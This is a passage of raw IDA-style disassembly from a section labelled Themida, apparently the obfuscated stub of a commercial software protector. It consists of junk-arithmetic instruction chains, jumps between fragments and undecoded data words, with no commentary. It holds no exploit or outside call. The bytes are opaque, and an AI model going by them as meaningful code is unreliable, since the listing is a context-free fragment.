		jmp	loc_567076
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0E7B7628h, 7907F50Dh, 61D80527h, 54074B8h, 0A021941Eh
		dd 8158C321h, 0E7765BF3h, 733B053Fh, 5BE95018h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A63:				; CODE XREF: Themida_:0055378Bj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_55FB52
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 815AD601h, 4EEh, 24348700h, 2414895Ch, 0D12667BAh
		dd 9FE6BB1Dh, 0D3293DC7h, 0E924148Bh, 11978h, 8B2434FFh
		dd 0C481243Ch, 4, 81E78957h, 4C7h, 4BB5300h, 1000000h
		dd 59F8E9DFh, 14890000h, 39E95324h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554AC7:				; CODE XREF: Themida_:005617C3j
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		jmp	loc_553AE6
; ---------------------------------------------------------------------------
		dd 8159CB89h, 0C004EFF3h, 5BD9296Bh, 4EC81h, 0C890000h
		dd 2474FF24h, 0A2E95904h, 83FFFFEAh, 3C8904ECh,	56E78924h
		dd 4BEh, 5EF70100h, 4BE56h, 0F7290000h,	301DE95Eh, 2CB80001h
		dd 313D8833h, 24048BC3h, 5E96E9h, 81E78900h, 4C7h, 7B95100h
		dd 0C17EB92Fh, 814104E9h, 0EB92EDE9h, 59CF0107h, 2474FF57h
		dd 48F5F04h, 8EE95C24h,	810000CFh, 4C3h, 4BA5200h, 29000000h
		dd 0E4E95AD3h, 68000084h, 298h,	56240C89h, 0EF0226BEh
		dd 565AE93Ch, 0C7810000h, 4, 8B243C87h,	0EB812424h, 6E535543h
		dd 57B2EB81h, 0C3015B01h, 57B2C381h, 0EC815B01h, 4, 51243C89h
		dd 0E5614FB9h, 0EB95125h, 0BF7D8600h, 0AED715C8h, 35E9CF01h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554BB3:				; CODE XREF: Themida_:00562099j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_552E50
; ---------------------------------------------------------------------------
aAS2		db '€Ãêé;2',0
		align 4


loc_554BC4:				; CODE XREF: Themida_:00562418j
		mov	edx, 653A2DAFh
		mov	edi, 0F4E926EAh
		add	edi, edx
		pop	edx
		add	dword ptr [esp+4], 6B841209h
		add	[esp+4], edi
		jmp	loc_555389
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 134A3892h, 8159CE29h, 24488FC6h, 0E9C60159h,	0FFFFEEFAh
		dd 775FF181h, 0E9C179E6h, 0ADF18108h, 81686E86h, 0BB7F85EDh
		dd 81CD0109h, 0BB7F85C5h, 0ED815909h, 2B1547F3h, 0C583C581h
		dd 0EB29920Bh, 8E9FE9h,	246C8100h, 190E2D04h, 95B2E92Bh
		dd 9660000h, 48B66C6h, 2C48324h, 0BF665766h, 81662BBEh
		dd 667CB6C6h, 0C2EEE81h, 55FE0166h, 6111E9h, 22BB5300h
		dd 1207802h, 0C6815BDEh, 5E1209E0h, 8541E9h, 0BE565E00h
		dd 1CEE572Ah, 0A7734905h, 2DF02936h, 36A77349h,	2FBD555Eh
		dd 5034AA16h, 0A58DE9h,	4C48300h, 0EF4E953h, 0F5810000h
		dd 4EA555B3h, 815DEA21h, 460E61F2h, 8BD63149h, 0E7E92414h
		dd 590000C4h, 370DE957h, 0C8B0000h, 0FFCFE924h,	0B951FFFFh
		dd 0DF56EE9h, 8159CD89h, 0D8EB82C5h, 5DEE015Fh,	0B3E9C601h
		dd 30000015h, 24048BE7h, 8004C483h, 0A8E93BE9h,	100009Eh
		dd 0BE95DEEh, 5F0000D4h, 0ED81E5D1h, 109AB1C0h,	685DE801h
		dd 3A68h, 0E9240489h, 0E3BFh, 1F80C981h, 0C1833D14h, 81E951FFh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D17:				; CODE XREF: Themida_:0055498Ej
		neg	ebx
		sub	ebx, 2562480Eh
		add	ebx, 0E1E256Dh
		add	ebx, 67C5B9F1h
		mov	esi, ebx
		pop	ebx
		push	ecx
		jmp	loc_5609D1
; ---------------------------------------------------------------------------


loc_554D34:				; CODE XREF: Themida_:005630A4j
		push	ebx
		mov	ebx, 4
		push	ebp
		jmp	loc_553B71
; ---------------------------------------------------------------------------


loc_554D40:				; CODE XREF: Themida_:0055759Aj
		add	esp, 4
		neg	eax
		dec	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 0A861C575h
		add	eax, 115B1A94h
		add	eax, 737AABh
		add	eax, edi
		sub	eax, 737AABh
		sub	eax, 115B1A94h
		push	dword ptr [eax]
		jmp	loc_5591B3
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 69126B73h, 0E981D101h, 69126B73h, 240C335Ah,	33240C31h
		dd 37E9240Ch
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D8B:				; CODE XREF: Themida_:0055CC30j
		mov	ebp, 4
		add	ecx, 3B91B3Dh
		add	ecx, ebp
		sub	ecx, 3B91B3Dh
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55484B
; ---------------------------------------------------------------------------
		dw 0EB28h
		dd 5EEB8059h, 0FFC0B60Fh, 0CEE98734h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554DC3:				; CODE XREF: Themida_:00564EB6j
		add	ebp, ebx
		pop	ebx
		jmp	loc_5581DF
; ---------------------------------------------------------------------------
		db 89h
		dd 18E957E3h, 3400010Eh, 58C2880Ah, 148BD730h, 4C48124h
		dd 0
		dd 2434FFF8h, 5954515Bh, 4C181h, 0C1830000h, 74FF5104h
		dd 0C8B0424h, 4C48124h,	8F000000h, 665C2404h, 0E94FD068h
		dd 4EDBh, 67FF6855h, 0C15D483Fh, 696802E5h, 89000053h
		dd 0FF68240Ch, 59FFFFFFh, 640CED81h, 0CD015D9Ah, 640CC581h
		dd 0C8B5D9Ah, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 774EE9h
		db 0
; ---------------------------------------------------------------------------


loc_554E51:				; CODE XREF: Themida_:005563D5j
		shl	al, 2
		jmp	loc_5668EB
; ---------------------------------------------------------------------------


loc_554E59:				; CODE XREF: Themida_:00556E34j
		xor	edi, 0DD28D95Fh
		jmp	loc_565B45
; ---------------------------------------------------------------------------
		dd 5366D6F6h, 0C688F388h, 0E146E9h, 81EB0100h, 0A12C37C3h
		dd 0C9EB8104h, 8B7A1770h, 0D0E9242Ch, 8800006Dh, 5AF788EEh
		dd 80CFFE59h, 1BE901EFh, 810000AAh, 6F2D32F5h, 107EE957h
		dd 0C4810000h, 4, 50E18951h, 1E32BA52h,	0B3E9159Eh, 5F000058h
		dd 575EF331h, 9158C6BFh, 9EF78116h, 8112F32Ch, 541481C3h
		dd 0BE71E91Eh, 0E1D10000h, 4BE8C981h, 0BAE92884h, 8D00010Eh
		dd 0BE688704h, 89000030h, 0E0892404h, 5C6D68h, 240C8900h
		dd 0C22EE9h, 4AEC8000h,	0FFFDD6E9h, 240489FFh, 0F7EFE954h
		dd 92250000h, 0C13ADC5Ch, 0A12D02E8h, 89C5E0E7h, 24048BC2h
		dd 8304C483h, 21E901EAh, 58000029h, 0D107EBC1h,	5AC381E3h
		dd 1FE98F2h, 241C8BDEh,	83E08950h, 35E904ECh
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554F43:				; CODE XREF: Themida_:0055E2FEj
		pop	esp
		push	dx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5573FD
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 12h
		dd 8141CB4Eh, 8C7801EFh, 81D72927h, 8C7801C7h, 0FFB3E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F7A:				; CODE XREF: Themida_:0055B423j
		push	6A09h
		mov	[esp], edx
		mov	edx, 1
		sub	ecx, edx
		pop	edx
		jmp	loc_55C213
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 933EAFB8h, 4B85066h, 0D756412h, 7E2A6FF5h
		dd 548D0F7h, 7DE64C1Ch,	0A405D8F7h, 0E95F12D8h,	4B2h
; ---------------------------------------------------------------------------


loc_554FBC:				; CODE XREF: Themida_:005573BDj
		pop	edx
		xor	ch, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55B960
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 5DA2301Dh, 0B6E9D5F7h, 53FFFFEEh, 0C3F5E9h, 81D7F700h
		dd 0D253A3E7h, 1AF78161h, 293C9B6Ah, 0F5015FFEh, 0B0F9E95Eh
		dd 48F0000h, 24248B24h,	24048B66h, 3C916857h, 24890000h
		dd 0E2895224h, 11C44E9h
		db 0
; ---------------------------------------------------------------------------


loc_555015:				; CODE XREF: Themida_:0055E955j
		push	edi
		mov	edi, 4
		jmp	loc_563182
; ---------------------------------------------------------------------------


loc_555020:				; CODE XREF: Themida_:00556AA4j
		sub	dword ptr [esp+4], 7F673F3Fh
		jmp	loc_55D571
; ---------------------------------------------------------------------------
aRs_1		db 'Ré$',8,0
		db 0
; ---------------------------------------------------------------------------


loc_555033:				; CODE XREF: Themida_:00564F77j
		add	ebp, ebx
		sub	ebp, 32483B5Eh
		jmp	loc_5598E8
; ---------------------------------------------------------------------------
		dd 3A7BC281h, 0D5011A92h, 9FE0E9h, 4C48300h, 4C381h, 18E90000h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55505B:				; CODE XREF: Themida_:00558625j
		add	edi, 34270CCh
		and	edi, 0FF366A8h
		push	ebx
		jmp	loc_5657DB
; ---------------------------------------------------------------------------


loc_55506D:				; CODE XREF: Themida_:005677B9j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55C950
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48359h,	4EC81h,	14890000h, 815A5424h, 4C2h
		dd 5FB6E900h, 0E1880000h, 0FFE7B9E9h, 0E9F001FFh, 0FFFFFBC1h
		dd 5358C601h, 8B65DEBBh, 15B85052h, 9795A36h, 24048BC3h
		dd 0E904C483h, 11FA0h, 207F83ADh, 0FC840F00h, 57000097h
		dd 2466BBBFh, 34E95243h, 31000088h, 0A2E955F1h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5550E7:				; CODE XREF: Themida_:0055C340j
		pop	ebx
		jmp	loc_554771
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 8Fh
		dd 811A3E17h, 460D38C6h, 35EE8159h, 8B2D1B30h, 0C483243Ch
		dd 0DD78E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55510A:				; CODE XREF: Themida_:0056812Cj
		xor	ebp, [esp]
		jmp	loc_559187
; ---------------------------------------------------------------------------


loc_555112:				; CODE XREF: Themida_:00567D92j
		add	ebp, 4A146A0Ch
		sub	ebp, ecx
		jmp	loc_555C42
; ---------------------------------------------------------------------------
a5Mqqsh		db '5(mqQéHÎ',0
		dd 0DB0AE900h, 0E689FFFFh, 4C681h, 0C6810000h, 4, 446BE9h
		db 0
; ---------------------------------------------------------------------------


loc_555141:				; CODE XREF: Themida_:0055F11Bj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56431B
; ---------------------------------------------------------------------------


loc_55514F:				; CODE XREF: Themida_:0055B6B4j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5678C0
; ---------------------------------------------------------------------------


loc_555161:				; CODE XREF: Themida_:00556D0Fj
		or	edx, eax
		shl	edx, 1
		jmp	loc_5559BF
; ---------------------------------------------------------------------------


loc_55516A:				; CODE XREF: Themida_:00555E4Bj
		mov	ecx, 514704A5h
		sub	edx, ecx
		pop	ecx
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_55B2D5
; ---------------------------------------------------------------------------


loc_55517C:				; CODE XREF: Themida_:0055F684j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55D36C
; ---------------------------------------------------------------------------
aSL		db 9,'ÃéÄ‹',0
		dd 4BA00h, 0D1010000h, 240C875Ah, 6DCA685Ch, 2FE90000h
		dd 5C00006Fh, 6DBAE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5551AE:				; CODE XREF: Themida_:00566977j
		push	eax
		mov	eax, 7CA563C2h
		push	ebx
		jmp	loc_55C438
; ---------------------------------------------------------------------------


loc_5551BA:				; CODE XREF: Themida_:00555BFAj
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	ebx
		mov	ebx, 5FD00AD5h
		mov	ebp, 0C8C24B06h
		jmp	loc_55E384
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 248B2404h
		dd 24048F24h, 6424248Bh, 29E90288h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55520F:				; CODE XREF: Themida_:00561C08j
		dec	ecx
		jmp	loc_55F97F
; ---------------------------------------------------------------------------


loc_555215:				; CODE XREF: Themida_:00553E56j
		push	ebp
		mov	ebp, 63A602C8h
		jmp	loc_55A6F9
; ---------------------------------------------------------------------------


loc_555220:				; CODE XREF: Themida_:00566B31j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	11E8h
		mov	[esp], ebp
		jmp	loc_553EC5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3968240Ch, 8900002Eh, 0EC83243Ch, 24248904h,	4240481h
		dd 0FF000000h, 815F2434h, 4C4h,	4EC8100h, 0E9000000h, 1FFBh
		dd 0E2338F0Dh, 2E1D0D46h, 0F3352DD1h, 1237C3Ch,	525A58C6h
		dd 3E4068h, 241C8900h, 2C52B850h, 0C3892ACAh, 15E38158h
		dd 835C482Dh, 51E904ECh
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555297:				; CODE XREF: Themida_:0056322Fj
		mov	[esp], eax
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_55529F:				; CODE XREF: Themida_:00556DD2j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5604E7
; ---------------------------------------------------------------------------


loc_5552BD:				; CODE XREF: Themida_:005538F1j
		xor	ebx, edx
		pop	edx
		or	ebx, 37F9160Bh
		shl	ebx, 1
		xchg	ebp, ebx
		jmp	loc_567452
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8104C483h, 4C6h, 0FAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5552DE:				; CODE XREF: Themida_:00553D63j
		mov	ah, ch
		pop	ecx
		push	small 0
		sub	[esp], ah
		jmp	loc_55B4C7
; ---------------------------------------------------------------------------


loc_5552ED:				; CODE XREF: Themida_:00564920j
		not	ebp
		shl	ebp, 4
		shr	ebp, 8
		push	edi
		push	edx
		push	ebx
		mov	ebx, 5288577Fh
		push	edi
		mov	edi, 292589Ch
		or	edi, 7C90093Dh
		inc	edi
		shl	edi, 8
		push	ebx
		mov	ebx, 38781334h
		jmp	loc_5620E6
; ---------------------------------------------------------------------------
		dd 2D5BDE29h, 77310C9Dh, 9D05F001h, 0E977310Ch,	1056Dh
; ---------------------------------------------------------------------------


loc_55532C:				; CODE XREF: Themida_:00560619j
		push	eax
		mov	ah, 52h
		inc	ah
		jmp	loc_56342D
; ---------------------------------------------------------------------------
aZI		db '‡<$\‰,$½$',0
		dd 27E90000h, 3000005Dh, 0DED8E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55534E:				; CODE XREF: Themida_:00564146j
		shl	edx, 1
		push	ecx
		push	0FFFFFFFFh
		mov	ecx, [esp]
		push	edi
		jmp	loc_5544BC
; ---------------------------------------------------------------------------
		db 29h
		dd 0F2E958C3h, 890000CDh, 43682414h, 5A38291Eh,	5004E2C1h
		dd 995608B8h, 58C20172h, 4171BB53h, 0DA31B6EDh,	0CC04E9h
		db 0
; ---------------------------------------------------------------------------


loc_555389:				; CODE XREF: Themida_:00554BDDj
		sub	dword ptr [esp+4], 6B841209h
		pop	edi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55A940
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4C4h, 6CEE8100h, 814C8F03h, 2F5382EEh, 81D60166h
		dd 2F5382C6h, 0CBE95066h, 5200010Fh, 6BB568B2h,	148BD500h
		dd 4C48124h, 80000000h,	0E957ECF5h, 42CBh, 4B850h, 0C6810000h
		dd 4E135E13h, 0E6E9C629h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5553EB:				; CODE XREF: Themida_:00560629j
		sub	al, bl
		jmp	loc_553749
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 0E95C2404h, 0FFFFF63Ah, 5E08950h,	4, 8704E883h
		dd 248B2404h, 14F0E924h, 0C4830000h, 245E6804h,	1C890000h
		dd 4B95124h, 89000000h,	0DE0159CBh, 0E9241C8Bh,	347Dh
; ---------------------------------------------------------------------------


loc_555434:				; CODE XREF: Themida_:0056630Fj
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_557AAA
; ---------------------------------------------------------------------------
		dw 0F930h
		dd 2C77045Bh, 81C800BFh, 4ECh, 240C8900h, 0E980D7B1h, 5EABE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55545E:				; CODE XREF: Themida_:0055735Bj
		mov	eax, [esp]
		jmp	loc_565C77
; ---------------------------------------------------------------------------


loc_555466:				; CODE XREF: Themida_:00556CF5j
		xchg	esi, [esp]
		jmp	loc_554301
; ---------------------------------------------------------------------------
		dw 0C689h
		dd 0E92434FFh, 0AE35h, 0C5DAC581h, 0EC8109C5h, 4, 89241C89h
		dd 78DF68EBh, 4890000h,	89D88924h, 0FF5B58C7h, 535D2434h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0F8215C24h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_566805
		push	3643h
		jmp	loc_552CCF
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 815B5453h, 4C3h, 4C38300h, 31241C33h, 90E9241Ch
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5554EF:				; CODE XREF: Themida_:00565C3Fj
		inc	ebp
		push	edx
		mov	edx, 73005D61h
		or	ebp, edx
		jmp	loc_55A46A
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFD733E9h, 59CD01FFh, 82E9DDF7h, 1000007h, 0F1815DE9h
		dd 60716A77h, 6EF8BB53h, 0D9217F8Bh, 1F27E95Bh,	0D6010000h
		dd 0F2015A5Ah, 8124348Bh, 4C4h,	24143300h, 0FFF410E9h
		dd 7C380FFh, 2641E9h
		db 0
; ---------------------------------------------------------------------------


loc_555545:				; CODE XREF: Themida_:00567D07j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_565215
; ---------------------------------------------------------------------------


loc_555555:				; CODE XREF: Themida_:00566E6Ej
		dec	ebx
		inc	ebx
		sub	ebx, 4BB8005Fh
		xor	ebx, 40F469A9h
		add	ebp, ebx
		jmp	loc_564F76
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 246360A5h, 565DE889h, 0F010DBEh, 0E9DEF753h,	1055Eh
; ---------------------------------------------------------------------------


loc_555580:				; CODE XREF: Themida_:005627FDj
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_5636F1
; ---------------------------------------------------------------------------


loc_555590:				; CODE XREF: Themida_:0056034Dj
		pop	eax
		push	eax
		mov	eax, 281673EDh
		push	edi
		mov	edi, 0F4B84A4Ah
		add	eax, edi
		jmp	loc_553D32
; ---------------------------------------------------------------------------
		dd 0C263B5BEh, 20EE8168h, 211B9DE9h, 0ED815EF5h, 5DFFDBDh
		db 29h,	0EFh, 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_558590
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 48B5C24h, 0E7895724h, 4C781h
		dd 0C7830000h, 243C8704h, 0D37CE95Ch, 4830000h,	685F0424h
		dd 5434h, 54240489h, 40558h, 0E8830000h, 24048704h, 0FCA2E9h
		dd 5DEB0100h, 40B3BF57h, 0F7813924h, 392440B1h,	3C8BFB01h
		dd 0E6895624h, 0BA2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_555635:				; CODE XREF: Themida_:00561872j
		add	esp, 4
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, ebx
		sub	ebx, 75D27DE7h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55723C
; ---------------------------------------------------------------------------
		db 31h,	0DDh, 5Bh
		dd 0FFE9B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55565D:				; CODE XREF: Themida_:0055AFECj
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_56657E
; ---------------------------------------------------------------------------


loc_555672:				; CODE XREF: Themida_:00556E26j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	edi
		push	edx
		push	edx
		push	770h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		sub	dword ptr [esp+4], 20F215DEh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 20F215DEh
		pop	ebx
		pop	edx
		jmp	loc_561A42
; ---------------------------------------------------------------------------


loc_5556AE:				; CODE XREF: Themida_:00565224j
		or	ebx, 59F60218h
		jmp	loc_5544DB
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 248B2434h, 2BB5324h, 81000000h, 0D859C8EAh
		dd 8DC28115h, 15C2D1Fh,	8DEA81DAh, 575C2D1Fh, 539E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5556E6:				; CODE XREF: Themida_:00556CE1j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564AE4
; ---------------------------------------------------------------------------
		dd offset dword_596D68
		align 4
		dd 89241C89h, 4C381E3h,	0E9000000h, 12253h, 0FFD52FE9h
		dd 0D8285AFFh, 4468B604h, 0E900003Ch, 0BF4Ch, 2812BA52h
		dd 0D60965CAh, 8124148Bh, 4C4h,	3442E900h, 555E0000h, 468h
		dd 0A7BCE900h, 0EA810000h, 37CD0411h, 0FC4BB951h, 0CA29CA34h
		dd 24448159h, 0D553004h, 246C8105h, 0EB4F4B04h,	24448102h
		dd 326D9204h, 24540152h, 246C8104h, 326D9204h, 24448152h
		dd 0EB4F4B04h, 30B95102h, 29050D55h, 5908244Ch,	2633E9h
		dd 0D92CAC00h, 0AF2C182Ch, 47E9D828h, 89000024h, 0B850240Ch
		dd 0BD751CFh, 2A694F05h, 0DE0D157h, 76E5B31h, 0FFDDC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5557AD:				; CODE XREF: Themida_:00553527j
		pop	ebp
		and	edx, 39E556F7h
		shr	edx, 5
		add	edx, 4EF520D2h
		add	edx, 251CE567h
		add	ecx, edx
		jmp	loc_567B46
; ---------------------------------------------------------------------------
		dw 0EB00h
		dd 83240C8Bh, 0DBF604C4h, 0C007E3C0h, 516605E3h, 0E904EC83h
		dd 10F64h
; ---------------------------------------------------------------------------


loc_5557E4:				; CODE XREF: Themida_:0055D895j
		mov	edi, 12CD2E41h
		jmp	loc_55363F
; ---------------------------------------------------------------------------
		dw 505Bh
		dd 0EC8012B4h, 63B668DCh, 14890000h, 0E919B624h, 84C6h
		dd 3EA6C281h, 0ADE958F3h, 8300003Ch, 48704C0h, 24248B24h
		dd 0FFD41BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55581D:				; CODE XREF: Themida_:0055BF43j
		movsx	ecx, ax
		push	4DCCh
		mov	[esp], ecx
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 31h,	0C3h, 58h
		dd 1C8BD821h, 4C48324h,	0D308405h, 71802D15h, 0C7017E10h
		dd 8B2434FFh, 0C4812404h, 4, 92E95450h,	0B20000E0h, 8FEE9D2h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55585E:				; CODE XREF: Themida_:00555EA2j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 545837F5h
		jmp	loc_55AAEB
; ---------------------------------------------------------------------------


loc_55586F:				; CODE XREF: Themida_:0055646Ej
		xchg	ebp, [esp]
		pop	esp
		add	edx, eax
		push	6BABh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 23F9742Ch
		not	edi
		jmp	loc_55C20D
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1B0C586Dh, 0D1E9CD09h, 29000013h, 24048BC5h,	4C481h
		dd 0C7810000h, 74DD6C02h, 0F1D6E9h, 241C8900h, 0FFF512E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5558B9:				; CODE XREF: Themida_:0055FB57j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_564340
; ---------------------------------------------------------------------------
		db 68h
		dd 6E85566Ah, 6E0C158h,	6F444A2Dh, 8BD4E995h, 0C290000h
		dd 4EC8124h, 89000000h,	0C5BD242Ch, 294B0753h, 5D04246Ch
		dd 0E07EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5558FD:				; CODE XREF: Themida_:005534F7j
		add	edx, 144EB66Ah
		xor	ecx, edx
		pop	edx
		shr	ecx, 3
		and	ecx, 41E53C0Eh
		sub	esp, 4
		jmp	loc_55C6B5
; ---------------------------------------------------------------------------
		db 64h
		dd 0DFE932FFh, 8900008Fh, 7FE92414h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555927:				; CODE XREF: Themida_:00567809j
		mov	esi, 4738356Ch
		or	esi, 35907F6Bh
		shl	esi, 2
		neg	esi
		inc	esi
		jmp	loc_55EBA9
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHa_		db '$h _',0
		align 2
		dw 3C89h
		dd 81E78924h, 4ECh, 242C8900h, 0E29AEBDh, 0D5F74569h, 0BB33E9h
		dd 4BA00h, 0CAE90000h, 81000049h, 462BE7EDh, 32ED8108h
		dd 29C9F514h, 0AEE95DE8h, 8BFFFFFEh, 0C483241Ch, 5CCD8104h
		dd 81622E58h, 1D58B5C5h, 0CCF5814Dh, 5649B255h,	0EF6D25BEh
		dd 25EE813Dh, 0F7651833h, 2EEC1D6h, 4F0CCE81h, 0C6816E06h
		dd 420463D1h, 0CEEFF681h, 0AE998C6h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5559BF:				; CODE XREF: Themida_:00555165j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 21B61325h
		push	edi
		jmp	loc_55CE4A
; ---------------------------------------------------------------------------


loc_5559D0:				; CODE XREF: Themida_:0056561Ej
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55A21D
; ---------------------------------------------------------------------------
a_s		db '_é\¶',0
		align 2
		dw 535Eh
		dd 86DC7BBh, 0B8E38117h, 81373D19h, 590617F3h, 50C78160h
		dd 12EC70Ah, 50EF81DFh,	5B2EC70Ah, 8CE9EF01h, 890000E9h
		dd 25E9240Ch, 81FFFFD2h, 4C4h, 45E96800h, 14890000h, 2E14BA24h
		dd 26E94E61h, 0B90000FCh, 56F63E3Ah, 8103E1C1h,	0AF0859F1h
		dd 0D64FE901h, 0D2F70000h, 95C2E9h, 0FBF58100h,	817E5755h
		dd 616A03F5h, 5DEE013Ch, 5604C683h, 42474FFh, 4FA0E95Eh
		dd 0E8010000h, 4875D5Dh, 24248B24h, 6824048Bh, 6442h, 0FFFE38E9h
		dd 5078BBFFh, 5C314440h, 0E95B0424h, 2835h, 0D5FF829h
		dd 54249C9h, 1802505h, 8BC60188h, 89522404h, 4C281E2h
		dd 83000000h, 0E9E904C2h, 6600003Ch, 8324048Bh,	148904ECh
		dd 148B5424h, 4C48124h,	57000000h, 0EF6D6DBFh, 4EC831Eh
		dd 0E9243C89h, 2AB1h, 875FF801h, 10E92404h, 0BF000100h
		dd 52163A20h, 0F71CEF81h, 7A013E27h, 0E5BAE938h, 0E95D0000h
		dd 0ADEBh, 4B9h, 8BCE0100h, 0C481240Ch,	4, 4BF5750h, 89000000h
		dd 243C8BF8h, 8104C483h, 0A1723CC6h, 0A1E95008h, 870000DBh
		dd 248B243Ch, 240C8924h, 0FFF892E9h, 4C483FFh, 57E28952h
		dd 0B32DEABFh, 47D7F746h, 2DEEC781h, 0FA0146B3h, 4EA815Fh
		dd 33000000h, 1E92414h,	2900003Dh, 7ADF05D8h, 0BA526CB5h
		dd 7A340760h, 24E9D001h, 51000022h, 3BE268h, 241C8900h
		dd 0D988D388h, 50241C8Bh, 405E089h, 83000000h, 48704C0h
